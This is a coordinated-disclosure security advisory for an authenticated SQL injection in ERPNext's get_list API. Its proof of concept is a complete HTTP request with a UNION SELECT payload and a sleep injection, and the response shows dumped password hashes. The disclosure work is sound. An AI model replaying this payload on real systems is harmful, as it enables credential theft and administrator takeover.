ERPNext 12.18.0 / 13.0.0 SQL Injection

2021.05.11
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Trovent Security Advisory 2103-01 # ##################################### Authenticated SQL injection in ERPNext 13.0.0/12.18.0 ##################################################### Overview ######## Advisory ID: TRSA-2103-01 Advisory version: 1.0 Advisory status: Public Advisory URL: https://trovent.io/security-advisory-2103-01 Affected product: ERPNext Tested versions: 12.18.0 and 13.0.0 beta Vendor: Frappé Technologies https://frappe.io Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch Detailed description #################### Trovent Security GmbH discovered an SQL Injection vulnerability in the "frappe.model.db_query.get_list" API endpoint. On version 13.0.0 valid credentials without any privileges are sufficient but on version 12.18.0 at least "system_user" privileges are required. The vulnerable parameter "filters" allows injection of SQL statements. An attacker is able to query all available database tables to retrieve usernames, password hashes or password reset tokens which can then be used to reset administrator passwords. Severity: High CVSS Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) CWE ID: 89 CVE ID: TBD Proof of concept ################ Sample request made with a non system account to retrieve password hashes: REQUEST: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ GET /api/method/frappe.model.db_query.get_list?filters=%7b%22name%20UNION%20SELECT%20password%20from%20%60__Auth%60%20--%20%22%3a%20%22administrator%22%7d&fields=%5b%22name%22%5d&doctype=User&limit=20'%3b%20do%20sleep(10)&order_by=name&_=1615372773071 HTTP/1.1 Host: erpnext.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Frappe-CSRF-Token: 0e89c5c43898da856fe12e19a57991d7bdf380477d0354f93ce6bcf3 X-Frappe-CMD: X-Frappe-Doctype: Dashboard%20Settings X-Requested-With: XMLHttpRequest Connection: close Referer: http://erpnext.local/app/website Cookie: io=NVosyhHCvV3KdkxNAAi7; sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; system_user=no; full_name=auth%20test%27; user_id=auth%40trovent.io; user_image= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ RESPONSE: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1 200 OK Server: nginx/1.19.7 Date: Wed, 10 Mar 2021 16:04:40 GMT Content-Type: application/json Connection: close Vary: Accept-Encoding Set-Cookie: sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; Expires=Sat, 13-Mar-2021 16:04:40 GMT; HttpOnly; Path=/; SameSite=Lax Set-Cookie: system_user=no; Path=/; SameSite=Lax Set-Cookie: full_name=auth%20test%27; Path=/; SameSite=Lax Set-Cookie: user_id=auth%40trovent.io; Path=/; SameSite=Lax Set-Cookie: user_image=; Path=/; SameSite=Lax X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 719 {"message":[{"name":"$pbkdf2-sha256$29000$0fofo/SeE0IoRQgh5HyvVQ$IuyDVu5v4Hc4Z7Pe/3Tvpim7AdhbYrI9b9XXL39/tVU"},{"name":"$pbkdf2-sha256$29000$1vqfk3KO0ZqT8n7vvff.nw$A9a6k9wbegrw5QUiJ/jj1.kXCr.lwRSJtv5S7QTCQgU"},{"name":"$pbkdf2-sha256$29000$aA2B8P7/X.vd./.fM6aUkg$JluCIXXrUgKxTUwvRyveCRIDjJ0mhhoG9Cs6onAO2Do"},{"name":"$pbkdf2-sha256$29000$CSFEKCVEqPVe611rrdVayw$pFf/iBuprNIdZ4DoJadro0UUNaffy.2v5EbAe4Nbxco"},{"name":"$pbkdf2-sha256$29000$L2WMkdLaG2NM6V3rnXMOAQ$snURvXF1kNTGA7Zux.HLoQ5JISRajyOBiAZ1VDjEJnc"},{"name":"$pbkdf2-sha256$29000$r/UeQ.id0/rfm9M6Z4yR8g$1w/oAvTRNJ7wKuSHgZ.4jkDHQAvLLYxerzYeHpd1IV8"},{"name":"gAAAAABgP1dTiYpJ67JyyUjytcay4XmKoOuyf_jAke7slDwL4gIM5lCWCbu6SjYOPOX6WigAm0fZzGgTEIiXNCA_yPZI64ijmA=="}]} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution / Workaround ##################### To mitigate this vulnerability, we recommend to limit access to the affected API endpoint. As a permanent solution it is recommended not to insert user input directly into SQL queries. History ####### 2021-03-10: Vulnerability found 2021-03-11: Advisory created and vendor contacted 2021-03-22: Vendor replied that they request CVE IDs after a fix is released 2021-04-19: Vendor informed about planned disclosure date (2021-05-11) 2021-05-03: Vendor contacted, asking for status 2021-05-07: No reply from vendor, vendor contacted again 2021-05-11: Advisory published


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